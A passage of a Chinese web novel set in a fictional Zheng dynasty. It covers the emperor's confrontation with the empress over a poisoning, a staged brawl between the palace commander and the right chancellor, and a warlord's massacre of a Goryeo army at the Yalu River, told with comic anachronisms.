晴云面色不屑的盯着他们,语气中没有丝毫的客气:“何关,你疯了?本官是内庭宰执,跟皇后娘娘自幼一起长大,五六十年的主仆情分。我入汝南节度使府时,你还没出生呢!你难道要对我动粗不成?” 一身甲胄的何关面无表情的看着晴云,眼神冷漠的答道:“大姑姑言重了,末将纵使有千个胆子,也不敢冲撞大姑姑。但现在陛下有一事需要向大姑姑询问,委屈您跟着末将手下金卫先去一趟。” 晴云额头上的皱纹渐渐消失,反倒是眉心中央陷进去两个浅窝。 沉默了许久后,她重重的叹了一口气,扭头看向清露殿内,目光中有太多的言语想要诉说。 最终,她闭上眼睛,朝着何关招了招手。 何关左手握着腰刀,目光在地上扫了一遍后,还是抬步上前,立在晴云身侧低头倾听。 “劝劝陛下,帝后不和,传出去……唉!” 说罢,她深吸了一口气,昂首挺胸的向前走去。立刻就有四个御林金卫跟在她的身后,态度恭敬,手里却紧紧攥着刀柄,让人分不清是保护还是押送。 何关站在清幽的宫殿廊下,浓眉紧皱,心情五味杂陈。 “为什么?” 清露殿内,文训自顾自的坐在了明黄色的绣榻上,双腿张开,居高临下的俯视着眼前这个陪自己走过了大半生的枕边人。 他现在满腔怒火。 皇后抬起脸,直视着文训,平静的问道:“陛下在说什么?臣妾不明白。” “事到如今,你还要跟朕装糊涂吗?” “臣妾真的不知道陛下在说什么。” 这就没意思了,文训只想要一个理由,可皇后却明显还想抵赖。见到她这副样子,文训不由得感觉到一阵心累。 至高至明日月,至亲至疏夫妻。 他们是世界上最亲密的伴侣,亲密到负距离接触;他们也是世界上最疏远的陌生人,疏远到想要对方死。 “你是大郑的正宫皇后!!你还有什么不满足的?!若儿是你的儿子!!朕从未亏待过你一分一毫!你为何要投毒害朕!” 真想不明白啊!自己又没有把其他妃嫔的儿子立为太子,搞什么宠妾灭妻、废嫡立庶的骚操作。夫妻二人的感情一直很好,逐鹿中原时还是一条心呢,怎么一当上皇帝,瞬间就众叛亲离了呢? 老二逆天就算了,怎么连妻子都这样了?? 文训瞬间就心寒无比,心中产生了一个可怕的想法—— 若儿……不会也…… 天呐!!! 皇后将目光移向一旁,这件事,就算二人心中都已经明了,她也绝对不能亲口承认。 周行舟是她的亲弟弟,庐州谋逆失败后,丈夫虽然没有立刻清算,但也已经在按部就班的剔除周家的势力和影响力了。 娘家几百口人,已经命悬一线,只等将人手替换结束、权力空缺填补,到那时,必定是血流成河。 她太了解自己的丈夫了,恩报仇必究!! 劝肯定是劝不住的,他绝对不会允许敌对的人活在这个世界上,背叛他的人,更是会穷索尽戮,一个不留。 哪怕是她的血亲,甚至…… 哪怕是她。 唯一能够拯救弟弟和娘家人的办法,就是杀了丈夫,让大儿子继位。 母后的意见他不得不听,杀害国舅的恶名他也承担不起。为了稳固新君地位,一切矛盾都可以缓解,什么都可以退而求其次。 皇后没有别的办法了,她也不想害死丈夫,可她更不能看着娘家几百口人在她眼前活生生的消失啊! 如果连娘家人都救不了,那她坐上这个皇后的宝座,还有什么意义? 失去了娘家人的支持,皇后还是不是她,谁又能知道? 凭太子吗? 往前数五百年,顺位继承的太子比例是多少? 是,是弟弟串通二儿子想要谋逆,但他们不是没成功么?就算成功了,也不会影响自己的地位,大儿子自己也会尽力保全的。 主动权在自己手里,和人为刀俎我为鱼肉,是不一样的。 人都是自私的。 文训是真的麻了,这搁谁身上受得了?一念及此,他突然感觉眼前一黑,天旋地转,身子一歪连忙扶住绣榻的黄漆边,紧闭着双眼缓了好久才缓过劲来。 “夫妻一场,我也不会拿你跟外人一样,况且还有若儿、还有大郑的脸面……” 文训的眉宇间尽是悲伤之意,夫妻相携几十载,临了却还不如一个才认识六七年的小子,人生真的是太荒诞了。 他努力撑起自己的身子,扶着绣榻边、换到铜雀灯台、又换到冰冷的殿柱和檀木门,身影落寞的抬腿缓缓走出了殿门。 “皇后以后就待在清露宫吧,没有朕的旨意,此生不得踏出一步!!” 听见那道渐行渐远的熟悉声音说出如此绝情的话语后,皇后绝望的闭上眼睛,两行泪滴从脸庞滑落。 为什么会变成这个样子…… 如果可以,她真想回到汝南,回到那座夫妻和睦、儿女绕膝、阳光明媚的宅院里,那时候,弟弟还在和丈夫把酒言欢,大儿子也会很懂事的将好东西都让给二儿子和两个女儿,富贵之家,难能温馨,别无所求。 如今,这汴京的深宫高墙,太凉了…… 皇后的手段和态度,彻底寒了文训的心,甚至让他有一些自暴自弃的想法,需要时间来缓和。说真的,打击实在是太大了,个中感受,别人是无法共情的,凌晨都不行。 第二天朝会,文训宣布了两道旨意,第一个是让太子开始接手处理政务,非军国大事,可不必上报。 第二个是让淑妃接手后宫大权,总理禁中事务,女官任选、宫女调动和一切开支都由她决断。 整个汴京风起云涌,坊间谣言不断。 禁中事务本应该由后宫之主决断,如今突然分付他人,皇城之中发生了什么事?帝后之间是否产生了嫌隙? 联想到周家如今正在被一步步的踢出权力中心,实在不能不让人浮想联翩。 可要说皇后失宠吧,太子的地位却比以前任何时候都要更加稳固,权力也大到没边了!常务副皇帝。 陛下置身之外,将一切交付给他,很明显就是已经在为身后事做准备了,未来的方向渐渐清晰明朗。 只要太子地位无虞,皇后就不可撼动,她可是太子的亲生母亲啊!所以这两道旨意本身就很矛盾。 帝心……越来越难测了。 但作为最应该得意的两个人,太子和淑妃的反应却出奇的一致—— 很平淡。 文若并没有上去就搞一言堂,霸气侧漏。而是事事都虚心向右相请教,态度谦卑的同六部尚书、侍郎们商议定夺,十分耐心的听取他们的意见和建议,每天都雷打不动的进宫给文训请安,汇报当日工作和关心父皇的身体状况。 连林济远这种在鸡蛋里都能挑出骨头的人,也对太子赞不绝口,颇为满意。 那位久居深宫内院的淑妃也不是简单人物,这事要是换了别人,早就趁她病要她命,骑在正室头上拉屎了。 她没有。 她也是每天雷打不动的前往清露宫请安问好,后宫中的大小事务、人员安排和一切支用,她都要等皇后点头同意了才会去执行。 不仅如此,她甚至还冒着触怒文训的风险,委婉的替皇后说情,从儿女们的感受、臣民百姓的议论、大郑的颜面体统各个方面旁敲侧击的劝说。 这种奇葩行为让很多后宫妃嫔都难以理解。 有没有起到作用不知道,反正文训是越来越信任她了,去她宫中的次数也越来越多。 都是高手。 第151章 互殴 水中鱼儿轻摇尾鳍,菏叶碧绿破淤泥而出,小荷才露尖尖角,已有蜻蜓立上头。浮萍错落有致,让凌晨不禁联想到植物大战僵尸。 整个水榭沿边立柱,美人靠只在两旁设立,中间直通池塘,檐下透白薄纱被清风吹起,连风也有了形状。 阳光洒落在水面上,波光粼粼;树叶沙沙作响,让人宁静心安;此情此景,让殿帅忍不住就吟诗一首—— “今天太阳这么大,右相请我上他家。 不给吃也不给喝,还说让我先坐下。” 坐在水榭中央棋盘前的杜宣老脸一黑,原本想去捏棋子的手,也忍不住抓紧棋匣,忍了半天才缓缓松开。 “来人,取陛下赏老夫的冰来,为临颍侯碎上一杯冰荔膏。” 原本还有些惆怅的凌晨,瞬间就喜笑颜开,转身跑回到棋盘前一屁股坐下,将疙瘩宝放在一边,指着它兴奋的说道: “还有它呢右相,给它也来两块。” “……” 杜宣多年的养气功夫,今日已经连续两次差点就破功了。 青黑色的软角幞头将一头白发束缚在内,显得悠然随性。略微发福的脸上眼袋很凸出,上下唇的胡须都修剪的很整齐很美观,却又不失威严。 脑袋大,脖子粗,一身紫袍彰显出主人的尊贵和地位超然,单手捋须,伸臂落子,自己与自己对弈,还杀的难分难解。 如果他不是当朝右相的话,凌晨一定会想办法把他送去居养院的,听说那里的护工是真打啊~ 吏部天官自古以来就是文官之首,当然同时也是百官之首。老头还是大郑集团有限公司最初的创始人之一,如果不谋逆的话,凌晨还真得给他三分薄面。 毕竟,在他还是先锋营的小炮灰时,对方就已经是寿春知府了。 “右相今日盛情相邀,实在是让下官不胜惊喜,有什么事儿您尽管吩咐,能办到的,我一定给您办。办不到的,我拄杖乞讨也去给您办~” “啪嗒~” 杜宣盯着棋盘,沉思默想了一会后,轻轻的落下一颗白子。似乎是对这一手很满意,他露出了笑容,左手伸出端起茶杯,刮着杯口撇去浮沫,抿上一口,“啧”了一声,优雅永不过时。 “老夫寻你就一定要有事相商?没事就不能邀你来家中小坐?” 呃…… 凌晨将手搭在棋盘上,说真的,他特么想掀桌子。 我二十五,风华正茂。 你六十四,老而不死。 咱俩坐一块能扯什么淡?跟你聊柳南坊的姑娘有多水灵吗?还是谈谈谁家的媳妇不刷碗、谁家今年挣了钱? 懒得回答,张着嘴巴打了个大大的哈欠后,凌晨双眼惺忪的伸手去逗笼子里的疙瘩宝,让空气沉默吧,反正我不尴尬。 杜宣也不以为意,好像有点像哮喘一样,微微吸着气说道: “你不喜欢跟我这个老家伙往来,老夫明白。只是令媛眼看着就要满月了,老夫也刚添了小孙子,嗯……不若就定下一门娃娃亲,你意下如何?” 莫名其妙。 “右相如此看得起,下官深感荣幸和惶恐。但是我觉得,儿女之事还是随她们的想法去吧,我不喜欢插手与自己无关的事。” 弦外之音,就是别人也少插手老子的事。 “老夫也是心血来潮,既然你有别的想法,自然也不会强求。” 草,没工夫陪这老东西瞎扯淡了,真拿我当鹰熬呢?今天自打进了门,这老家伙就一直顾左右而言他,究竟想干什么? 大家又不熟,总不能真跟他讨论沈棠姑娘和赵霁姑娘谁更柔情似水吧? “右相,咱们也是从江淮就认识的老熟人了,你有什么事就直说,我性子急,实在受不了这样的弯弯绕绕。” 见凌晨真生出三分火气了,杜宣这才呵呵笑道:“行吧~老夫有一句忠告,一直想说与你听,却担心你误会,因而与老夫疏远,所以……总觉得不好开口。” 既然知道不好开口,那就别开了呀! 凌晨是真的被老头磨的没脾气了,无奈的叹了口气,拿起勺子开始掏婢女送来的碎冰荔膏,还往笼子里丢了一勺。 “大人,你是知道我的,只要不涉及我家娘子,万事皆可商。” “若是涉及陛下呢?也可以商量吗?” 凌晨手中的勺子一顿,收起了满脸的不耐烦,似笑非笑的与杜宣对视起来: “那就要看右相说的是什么了,为陛下好,自然都可以商量嘛~” 杜宣闻言后皱起了眉头,却并不是那种生气的感觉,反而有种揶揄。 “你真的很不错,年纪轻轻就有如此心智,假以时日,等我们这些老家伙都走了,或可挑起大郑的梁子。” 凌晨嘴里“咯嘣咯嘣”的嚼着碎冰回答道: “右相,思虑太多对大脑不好,会得偏头痛的。人生就像一场戏,儿孙琐事由他去,一代人有一代人的使命,你不可能把后面几代人的事都做完。 至于将来大郑会走向何方,那就是子孙们的责任了,不管怎么说,眼下形势一片大好,大郑的未来一片光明,这就足够了。您也是时候考虑致士,含饴弄孙,颐养天年了。” 杜宣望着凌晨,这次是真有点生气了。 他本意是想对凌晨说明功高震主、年少得志的危害,想劝他彻底放弃殿前都点检的职位,不要这样上来又下去反反复复的跳,所以才一直顾左右而言他,消磨对方的警惕性和逆反心理。 谁曾想,他倒劝起自己来了,而且言语中怎么还有股……长江后浪推前浪的意思? 究竟是无心之言,还是猜到了? “老夫不是针对你,你也知道,老夫与你一向淡交如水,今日你我相会,陛下自然也会知道。 老夫只是想说,你对陛下的忠心天地可鉴,出任点检一职,老夫也并不反对。可等你去后,殿前司归于何人?他还会对后继之君依旧如你这般赤胆忠心吗? 京畿重地,十几万精锐禁军归于一人之手,对于陛下、对于大郑,始终都是一个巨大的隐患和威胁。 话说到这了,老夫也跟你开门见山吧,你辞去此任,并与老夫一道上疏,请求陛下撤去此职,内、城、营三部指挥使分领兵马,这才是真正对陛下、对大郑的赤胆忠心啊!” “咳咳~” 热天吃冰,有点齁嗓子,凌晨咳嗽了两声后,看着杜宣一脸真诚和期待的眼神,又打了个嗝。 “右相的担忧,我又岂能不知。年幼而居要位,无功而受厚恩,还要时刻担心有奸人在京中作乱,对皇亲国戚和朝臣百姓进行侵扰,我是又惊又怕,夜夜睡不好啊!” 愁眉苦脸的倒完苦水后,凌晨话锋一转,叹着气说道: “可我又有什么办法呢?何关勇有余而智不足、妻兄还不如他,薛将军又性格孤僻,不擅与人沟通,纵使我千般不愿,也不得不硬着头皮顶上去啊! 再说这是陛下的意思,我也不能公然抗旨不遵不是?右相不必顾虑我的感受,只管上疏,只要您能劝动陛下,我欣然接受啊!” 杜宣的脸,彻底冷了下来。 “你太年轻了,根本不晓得其中的利害!身居此位,稍有差池,无论是否与你有关,都将是粉身碎骨的下场。莫说你,就是你那家中妻女,也同样会受牵连!” 凌晨皱着眉头看向杜宣,这老家伙在说什么? “砰!!” 他猛的拍了一把桌子,将棋盘上的棋子拍的都弹了起来,连笼子里的疙瘩宝都被吓了一跳。 “殿前都点检是我!不是你!汴京上百万百姓要安全要稳定,我是第一责任人!我能不知道其中的利害关系?! 你以为我不想退啊?你以为我愿意做这个众矢之的啊?我不上,谁来统筹大局?谁来掌控全军?你吗?!” 杜宣目瞪口呆的望着眼前怒气冲天的凌晨,愣了一下后,瞬间怒从心头起,抓起一把棋子就丢向凌晨! 凌晨用宽大的袖袍防御降临后,立刻低下头在地上左右寻找,看来这老头今天是真想跟自己拼一下子! 远处的下人们直接看傻了,家人们谁懂啊!年轻的殿帅拍了德高望重的右相桌子,两个人不仅吵了起来,甚至都动手了,跟街头泼皮一样眼瞅着就要斗殴……卧槽!! 当凌晨从一旁的柱子上扯下薄纱盖在杜宣头上,帮他cos银行劫匪时,下人们再也坐不住了!七八个人一起冲进水榭里,连忙把两人扯着拉开。 “混账小子!老夫好歹也是你相识多年的长辈!安敢对老夫下此重手!竟敢扯下老夫的幞头!” “老东西!是你先为老不尊的!政见不合就不合呗!你特么甩我一身棋子是什么意思?” “小东西!老夫非要告御状不可!!” “怕你啊!我也要告御状!当朝右相竟然设下鸿门宴,叫自家下人殴打殿前都点检!” 文训本来就烦,听到凌晨和杜宣竟然在杜府打了起来,整个人都不好了! 我特么听到了什么? 这俩活爹在搞什么飞机啊? 二人在御前各执一词,杜宣执意要撤去殿前都点检一职,凌晨并没有反对。 但杜宣唆使自家下人殴打自己这事,一定要他给个说法! 老文两眼一黑,原本难受的心情差点被气笑了,当场就破口大骂,雨露均沾的将二人喷的体无完肤,紧接着各罚俸半年,然后就叫他们滚了。 也不是什么大事,政见不合而已。 杜宣已经清晰的认识到了殿前都点检对皇权和京城安全的巨大威胁,所以想劝凌晨放弃,他也清楚凌晨并不热衷这个位置。 其实凌晨也想撤销这个职位,最好是弄成一个临时职位,需要的时候任命,不需要的时候裁撤。这样后继之君就不用被什么“祖宗之法”所框束,被臣下裹挟了。 无论是忠于他的臣子,还是别有用心的人,只要坐上了这个大权独揽的要害位置,总是个威胁。 毕竟不是所有人都像自己这样有恃无恐,觉得殿帅的位置可有可无。 是不是殿帅,都不影响我把那些别有用心、妄图破坏和平稳定局面的杂鱼捏死在水里。 但不是现在。 右相与殿帅不合,皇帝放心;老文的注意力转移、骂完人后压力得到发泄;打了一架的事传出去,二人互污,又污的无伤大雅。 演一出戏,一石四鸟,何乐而不为呢~ 不过话又说回来了,和当朝右相搞武林风,到底还是自己吃亏了。 自己一个壮小伙,打个老头,输赢都不好听。 老杜就不同了,跟以武艺高强而闻名的年轻殿帅干了一架,完事后还能一起去挨骂。虽然有失体统,但也足以说明右相大人廉颇未老啊! 草,还是被老头阴了…… 第152章 高荣 记不清是什么时候了,自己竟然也渐渐适应了当下颠沛流离的异乡生活。儿时的景色,光与影的蜿蜒小径,都仿佛还在昨天,并没有过去多久。 站在横山顶上,望着远处海滨的蔚蓝色,感受着吹来的微咸海风,一个身形雄壮、小肚发福的男人双手背负在身后,目光中尽是对人生和命运变化无常的感慨唏嘘。 即使假装不在意,依然还是被他的一举一动所吸引。文教言今天在干什么呢?吃的啥饭?吃了多少?今天忙吗?心情好吗?有没有想我…… 大海的对岸,就是自己曾经所主宰统治的河北地区。 作为第一个对腐朽的大周王朝发出军事挑战、喊出“王侯将相宁有种乎”的地方节度使,曾经的应开疆是何等的风云人物! 一念起,九州烽火。 当初自己南下问鼎,剑指邺城的画面还清晰的停留在脑海中。这一辈子,意气风发过、担惊受怕过、绝处逢生过、心如死灰过。 机谋巧划,血染黄沙,费尽移山心力,最终却为文训做了嫁衣裳。 滚滚长江东逝水,浪花淘尽英雄。是非成败转头空,青山依旧在,几度夕阳红。 白发渔樵江渚上,惯看秋月春风。一壶浊酒喜相逢,古今多少事,都付笑谈中。 失败会打击一个人的自信和勇气,但时光会将它温柔包裹,酝酿出全新的昂扬战意!! 当年他被吕家出卖,暗中打开城门放江淮军和中原联军入城,多亏了手下心腹拼死保护,才逃出幽州城。 再后来更是一路颠沛流离,辗转到了辽东,没想到驻守在这里的小兔崽子竟然想杀了自己,拿自己的项上人头去向文训请降! 应开疆承认自己干不过文训那个奸诈小人,但收拾小弟还是手拿把掐的。用一场血色宴会,很轻松的就将辽东、襄平两府牢牢地掌握在了自己手中。 中原不好混,个个都是人精。上一秒对你声泪俱下、咱俩天下第一好;下一秒就图穷匕见,深呼吸头晕是正常的,一不小心就会着了道。 还是辽东好,这里民风淳朴,一言不合就开干,能动手绝不吵吵,非常适合应开疆这种边将出身、喜欢用拳头说话的军阀。 在这里,他才真正感觉到天高任鸟飞、海阔凭鱼跃,找回了曾经的自信。 原本以为契丹会过河拆桥、卸磨杀驴,趁机南下吞并自己。可万万没想到大草原上也开启了大乱斗,他们自己都被揍的鼻青脸肿,眼下肯定是顾不上管自己了。 有点孤独,但也安闲。 应开疆也放下了心中的执着,就在辽东两府安静的养老吧,做个土皇帝也挺好的。今朝有酒今朝醉,有女人、有地盘、邻居们也很忙,没空管自己。 回幽州? 拉倒吧~朕的大燕早亡了。 祖坟都让人挖了,还回个毛,狗都不回。 太史令小黄鸡曾在电竞人物志中为麻辣香锅赋诗一首,用在此刻的应开疆身上,再合适不过: 曾言逐梦难,孤身阑珊,有朝只手束苍龙,八面威风谁能拦?一马平川。 十里花重绽,却叹清寒,百川终有东归日,人非顺平岂圆满,不见长安。 回不去幽州不要紧,可要是连辽东都住不下去,那就过分了。 文训忙着给南方诸国和草原部落拱火起哄、为靓丽的风景线提供板砖石块等道具、以及烤肠卖水补充双方体力,顺带还要应对成为皇帝后的亲情、友情、爱情变质,暂时没空理会已经构不成威胁的应开疆。 幽州和河北人民对他恨之入骨,就算他有胆子回来,也没有统治基础。 契丹和靺鞨正在互相捶对方的鼻梁,踢对方的裤裆,打的头破血流,所以对应开疆非常客气。 双方都认为应开疆是一位有远见、有大智慧的英雄人物,可能运气方面差了那么一点点。不过不要紧,瑕不掩瑜,这点小瑕疵一点也不影响我们对你的滔滔敬仰。 契丹送来了各种牛羊皮毛肉制品,再次强调了双方的全天候战略合作伙伴关系。靺鞨送来了各种野山珍和当地特产,甚至还送了他一窝老虎崽,此等豪杰,没有霸气的宠物怎么行呢? 我们绝不让燕王为难,你不用帮任何人,只要作壁上观就行了。我们的矛盾,让我们自己用男人的方式来解决。 在这么好的外部环境下,辽东怎么就住不下去了呢?还有谁能对应开疆造成威胁吗? 有。 高丽。 一百年前,强盛的唐王朝落下帷幕,他们所支持的新罗也陷入混乱,直至最后覆灭。半岛上先后建立起后高句丽、后百济等割据政权,但最终被后高句丽的权臣王建统一,国号高丽。 高丽趁着中原战乱频频,打着恢复高句丽的口号大肆扩张,从大同江一直北进到鸭绿江畔,大有恢复当年高句丽疆域的势头。 榜样的力量是无穷的,依样画葫芦的可不仅仅是司马懿,高丽新的权臣高荣也有学习先贤的想法。高丽高丽,自然是姓高的人当老大才对呀! 于是,他带着一群股东对年仅十二的小董事长进行逼宫,成功夺取了权力。顺手还把小董事长送到了济州岛附近一个鸟不拉屎的礁石上荒岛求生。 登基后的庆功宴上,高荣志得意满的在汉城皇宫中对着一众王公大臣发表了总结: “这个皇宫呢,以前不是我们高家的,它在建成的时候,有的人在读书,有的人在打渔,有的人在流民棚等着别人施粥。 但是现在,这个皇宫,它姓高。 在高丽,天上掉下个铜板都得姓高,只要是我们高家看上的东西,早晚都得是高家的!” 等到处理完国内矛盾后,拔剑四顾心茫然、不知天地为何物的他猛然发现—— 曾经坐拥九万大军的应开疆,几天不见已经拉到这种地步了!现在的他手里只有两万人左右,而且还不是当年那些凶神恶煞的卢龙军,而是一群面黄肌瘦的老农民。 啧…… 辽东两府和地大物博的中原相比,确实有些天寒地冻,但是对于山多地少的高丽来说,依然是一块令人垂涎三尺的肥肉。 这里散布着几百万人口,还有无数的金银财宝、房舍良田、萝莉少妇、牛马猪羊,很难不让人动心。 于是,他写给燕王的信件口吻,也发生了变化 从“尊敬的大燕国皇帝陛下”、到“上邦燕王尊上”、再到“燕王老兄”,一步步的试探应开疆的反应。 应开疆懒得理会这傻鸟,一心只想着自己归天后陵墓该选在哪里,碑文上刻些什么才能掩饰一手好牌打到稀烂的尴尬,以及万一真的有轮回地府、下去后怎么跟老祖宗们解释祖坟被拆迁后却没有新的安置坟。 见应开疆没什么反应,高荣摸着下巴思索了一下后,最后送去了一封信—— “应老弟,见字如面……” 看到这封信的时候,应开疆被气笑了。 密码的,老子在巅峰赛是被虐成了人机,还被泉水杀。但也不是你这种黄金菜鸟能吆五喝六的好吧? 察觉到高丽有进犯之意后,应开疆立刻调动兵马,运输粮草物资,源源不断的往长白山和鸭绿江北岸囤积,并且他自己也亲自来到了半岛附近。 实事求是的讲,当初能被大周朝廷任命为卢龙军节度使,和凶猛的草原人打的有来有回,应开疆的军事能力还是很可以的。 就算是后来的逐鹿中原,那也是跟贺唯忠打完,又跟孙芝打,跟孙芝打完,又跟文训打,换个角度看,那可是天下群雄轮番上阵,用车轮战才把他给干趴下。 你可以说他坏,但绝不能说他菜。 高荣在小地方待久了,祖宗在底下把人脉关系都用尽了,才让他在村镇级别的军事行动和政治斗争中侥幸胜了几场,这会儿已经找不到北了,竟然觉得应开疆不过如此。 说教无益,折断的骨头是最好的课本。应老师已经准备好了pvc材质的教鞭,还在上面钻了两个洞,一定要给这位桀骜不驯的高同学留下一辈子都难以忘却的美妙回忆。 六月初,鸭绿江畔,双方正式对垒。 为了这场极其重要的对外战争,高荣动用了三千轻甲骑兵、一万五千步卒和五千名弓、车部队,旌旗猎猎,沿江摆开,人马雄壮,精气神十足。 你别说,气势还挺唬人的。 而江对面的燕军是什么样呢? 个个面黄肌瘦、有气无力,很多人跟饿了七八天似的,好像只有拄着长枪才能站住这样子。大部分士卒兜鍪戴的歪歪斜斜,铠甲穿的也不整齐,左肩紧右肩松,比杂牌军还要军容不整。 就这,人数好像还只有五六千。 开战前高荣就已经做过详细的情报工作,应开疆在整个辽东只有两万一千人,除去驻守各地的部队,防备大郑的精锐,能抽调出这些臭鱼烂虾来,估计都费了不少劲。 啧啧…… 穿着金盔红甲的高荣立在马上,眉头皱着同情的摇了摇头,这是真拉了呀…… 他不屑的对着对面扬了扬下巴,身旁立刻就有一骑飞出,马蹄踏起灰尘奔至江边,对着江对岸的燕军军阵高声喊道: “大高丽国国王陛下,请辽东燕王出来叙话~” 昨晚思念文训,以致于辗转反侧没有睡好,应开疆长长的打了个哈欠,随意的挥了挥手,立刻就有一排弓兵上前,对着那传话骑兵射去一轮箭矢。 别说把人家射下马了,好多箭矢都落在了水里,只有寥寥几支绵软无力的掉落在对岸草地。 高丽传令兵翻身下马,捡起两根箭矢一看,箭头虽然被新磨过,但上面的铁锈还未清除干净,箭杆也轻飘飘的,显然是存放太久没有得到保养,尾翼上的羽毛跟从脱毛鸡身上拔下来一样疏密不齐。 他立刻跨上马鞍,一路跑回了军阵之中,恭恭敬敬的双手将箭矢呈给高荣查看。 高荣瞥了一眼后,嘴角歪向一边。 下一刻,高丽军队马步齐进,卷起滚滚烟尘!弓兵射出漫天箭雨,宛若晴空乌云,扑向了对岸。 高丽骑兵马快,很快就涉水过江,人马都滴着水,重新列好阵型后,发动了集团冲锋! “轰——” “啊!!” “凯腮gi呀!!” “西八!!” “秋给弄吗!!” 燕军连动都没动,这些高丽骑兵们就在距离他们只有二十几米的地方,旅鼠跳崖似的一片接一片的陷进了早就挖好的大坑里!扬起漫天尘土,以至于在双方中间形成一道烟雾屏障。 坑里全是削尖的木刺和竹刺,人和马都被戳了个透心凉,侥幸躲过一劫的高丽骑兵,爬起来抬头一看,头顶还有源源不断、从天而降的马匹。 除了双手一摊之外,还能怎么办呢? 骑兵将领嗓子都快喊冒烟了,这才堪堪把后面的人马呼喝住。 “咻咻咻——” 在一片人马嘈杂的混乱中,负责统领骑兵的将领耳畔突然传来一阵破空声,仅仅从声音就能判断出有多么密密麻麻,他惊恐的扭头看向那片渐渐消散的尘土带…… 下一刻,一支锋利的箭矢从黄色烟雾中飞出,一箭扎进了他的眼眶中!他下意识的伸手去捂,结果钻心的疼痛感席卷而来,充斥在整个大脑,让他整个人的行动都迟缓了起来,失去了对身体的控制,一头栽下马来! 二十几米的距离,几千人齐射,对方还混乱不堪、失去指挥将领。 到最后,只有几百人靠躲在死马尸体的后面,用同袍的遗体压住自己,才没被射成刺猬。 后面的骑兵也察觉到了前方的混乱,虽然因为被挡着不清楚发生了什么事,但活命要紧,先撤回去再说。 主意打定后,他们立刻就调转马头往江中跑去,有一个人跑,一群人就跟着跑,反正法不责众嘛~ 国王陛下总不能把我们所有人都杀了吧? 由于这些骑兵平时只负责砍人,从来不考虑战场指挥问题和态势影响,所以他们忽略了一件非常重要的事情—— 水里还有几千名正在过江的步卒呢~ 甚至已经有一些步卒已经上岸了,正在拧掉衣服上的水,等待着人员到齐后集合列队。 他们又不急,反正骑兵已经冲过去了,三千骑兵打五六千老弱病残,那还不是镰刀割草么? 所以当他们看到这些零散的骑兵们又跑回来时,有点懵。 发生什么事? 天知道。 反正跑就对了!! 这些骑兵脸上的惊恐和不顾一切的下水逃命,也彻底影响了步卒们的军心。他们不清楚怎么了,但这个时候肯定不能再傻站在这里等领导通知下一步工作,于是也一起跳下水,在齐腰深的江水中往回淌。 两个方向的人迎头撞上,挤在一起,几千人闹哄哄的窝在江水中,互相焦急的谩骂、好奇的询问、疑惑的看向后方岸边的督战队,时间一分一秒的过去了。 将一切都尽收眼底的应开疆没有表现出丝毫的喜悦,匹配赛、虐黄金,有什么值得高兴的? 如果水里的是江淮军,那他估计早就兴奋的亲自冲阵了。 但很可惜,江淮军军纪严明,令行禁止,不会犯这么蠢的错误。 有些无聊啊…… 训,你现在在做什么呢? 处理完高丽骑兵的燕军,虽然依旧面黄肌瘦,但目光却发生了变化,变得兴奋、激动,还隐隐透露着一股疯狂和残忍。 枪兵开路,将遗留在北岸的高丽士卒挨个串了糖葫芦。三排弓兵站在他们身后,伸开膀子将弓拉成满月! 一排射完蹲下搭箭,二排射;二排射完蹲下搭箭,三排射;三排射完蹲下搭箭,一排继续射。 原本清澈的鸭绿江,先是因为许多人涉水搅成了浑浊的泥黄色,现在已经彻底变成了鲜红色。无数身上插着箭矢的尸体漂浮在水面上,漫无目的的撞在岸边,一个接着一个,慢慢堆积在一起。 你的技能放光了,现在该轮到我了! 弓兵还在岸边轮射,清理对岸滩涂,燕军步卒齐齐下水,抽出钢刀、举起盾牌和长枪,露出了狰狞的面容。 “杀——” 燕军里面有不少人是辽东本土人,这帮蛮夷竟然想抢他们的土地、杀他们的亲朋、觊觎他们的妻女,那还有什么好说的? 也有不少人是从幽州败退到这里的,有些甚至参加过邺城之战,巨大的现实落差导致了严重的心理问题,平时有法律的约束,只能借酒浇愁。 但今天不一样,今天可以合法发泄,想砍谁就砍谁,砍的越多越有面子。 干就完了! 望着前方一边倒的屠宰场,高荣张了张嘴,一言不发的扯着缰绳调转马头,事已至此,先撤吧。 可他的中军还没有动起来,高丽军队后方就出现了密密麻麻的上千名骑兵。 这群人可跟那些燕军步卒不一样,身形雄阔、铠甲明亮,冲锋时竟然没有一个人喊叫,只有“隆隆”的马蹄声。 大喊大叫会震慑敌人的心神,让对方肝胆惧颤,所以一般情况下,两军交战都会喊出来以壮声势,既能吓唬敌人,也能给自己壮胆。 但我们都知道,咬人的狗是不叫的。 这一千一百二十四名骑兵,是应开疆的绝对心腹、最后底牌,是原卢龙军的百战老兵。 他们打过草原人,打过中原人,还打过辽东人,每一个成员都是从尸山血海中存活下来的战争野兽。 猎杀开始!! 第153章 淑妃 鸭绿江畔的硝烟散去,高荣才真正认识到了中原王朝和附属势力的差距究竟有多大,他引以为傲的精锐嫡系,现在分布在各个地方。 草地中、树干下,树梢上、江岸边,鱼肚子里。 他彻底懵了,溃退下来的燕军都这么猛,那把他们打成丧家之犬的大郑军队,得是什么样的啊…… 应开疆的亲卫营虽然人狠话不多,但其实性格应该都挺阳光的,至少是有些黑色幽默在里面。 他们按照黄金比例,把四千六百二十五颗高丽士卒的人头整整齐齐的垒成了一座京观,摆在鸭绿江南岸,随时欢迎高丽游客前来观赏,不收取任何门票或者附加费用。 当然,契丹和靺鞨的朋友们也可以来近距离观赏。 但事情一码归一码,应开疆显然不是一个好说话的人,更不是一个好脾气的人。屠杀完高丽军队后,他并没有就此满足,而是率兵南下了。 目标——汉城。 高荣这才后知后觉的发现,自己好像招惹到个不得了的玩意儿…… 于是,他一边征兵防守,节节阻击应开疆。一边不断的写讨饶信,说是别人涂改诬陷的,自己怎么会喊出“应老弟”这种失了智的称谓呢! 燕军用刀剑告诉他:没关系,下辈子注意点就行了。 高荣被逼的已经在信里尊称应开疆为自己的亚父了!要知道,对方也就比他大两岁而已。可即便如此,燕王依旧不为所动,明显是铁了心要把他赶进海里去喂鱼。 对了,应开疆还发布了檄文:我讨伐的是出言不逊、不尊上王的高荣,不是高丽国。 言外之意就是,高荣死了,这账也就清了。 高丽贵族们你看看我,我看看你,emm…… 于是,负责高荣安保工作的保镖们,工作量和工作强度一下子就上来了,不仅要防着刺客袭击王上,还要小心自己的同僚被国中大臣收买反水。 时间久了,连他们自己都想给高荣一个大嘴巴子。 我们跟着你吃糠咽菜、被弄成通缉犯,大雨天睡在山洞里,好不容易辛辛苦苦从庆尚山砍进汉城,以为终于能过上两天好日子了,你特么闲的没事口嗨什么? 